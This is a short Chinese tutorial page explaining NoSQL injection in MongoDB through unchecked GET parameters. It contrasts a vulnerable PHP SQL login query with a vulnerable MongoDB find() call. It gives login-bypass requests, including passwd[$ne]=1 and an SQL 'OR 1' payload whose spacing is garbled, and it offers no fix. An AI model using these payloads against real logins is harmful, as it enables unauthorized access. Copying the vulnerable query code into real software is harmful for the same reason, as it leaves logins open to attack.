現在的位置: 首頁 > 資料庫 > 正文

怎樣利用GET參數判斷不嚴格進行MongoDB注入

2020年07月02日 資料庫 ⁄ 共 831字 ⁄ 字型大小 評論關閉

  在關係型資料庫時代,SQL注入攻防幾乎成了每一個Web開發者的必修課,很多NoSQL的支持者稱NoSQL的同時也就NoSQL注入了。下面學步園小編來講解下怎樣利用GET參數判斷不嚴格進行MongoDB注入?

  怎樣利用GET參數判斷不嚴格進行MongoDB注入

  使用SQL資料庫存儲用戶名密碼的系統,我們檢測用戶名與密碼的過程可能是這樣的:

  mysql_query("SELECT*FROMuser

  WHEREusername=".$_GET['username'].",

  ANDpasswd=".$_GET['passwd'])

  我們使用MongoDB進行最簡單的用戶名與密碼檢測可能是這樣的:

  $collection->find(array(

  "username"=>$_GET['username'],

  "passwd"=>$_GET['passwd']

  ));

  怎樣利用GET參數判斷不嚴格進行MongoDB注入

  在最普通的SQL注入中,我們可以構造下面這樣的請求:

  login.php?username=admin&passwd=abcOR1–

  這個請求會形成這樣的SQL語句:

  SELECT*FROMuserWHEREusername=adminANDpasswd=abcOR1;

  成功注入!

  採用同理的方法,針對上面的MongoDB查詢方式,你可以構造下面的請求:

  login.php?username=admin&passwd[$ne]=1

  這個請求會形成這樣的MongoDB查詢:

  $collection->find(array(

  "username"=>"admin",

  "passwd"=>array("$ne"=>1)

  ));

  成功注入!

  以上就是關於「怎樣利用GET參數判斷不嚴格進行MongoDB注入」的內容,希望對大家有用。更多資訊請關注學步園。學步園,您學習IT技術的優質平台!

抱歉!評論已關閉.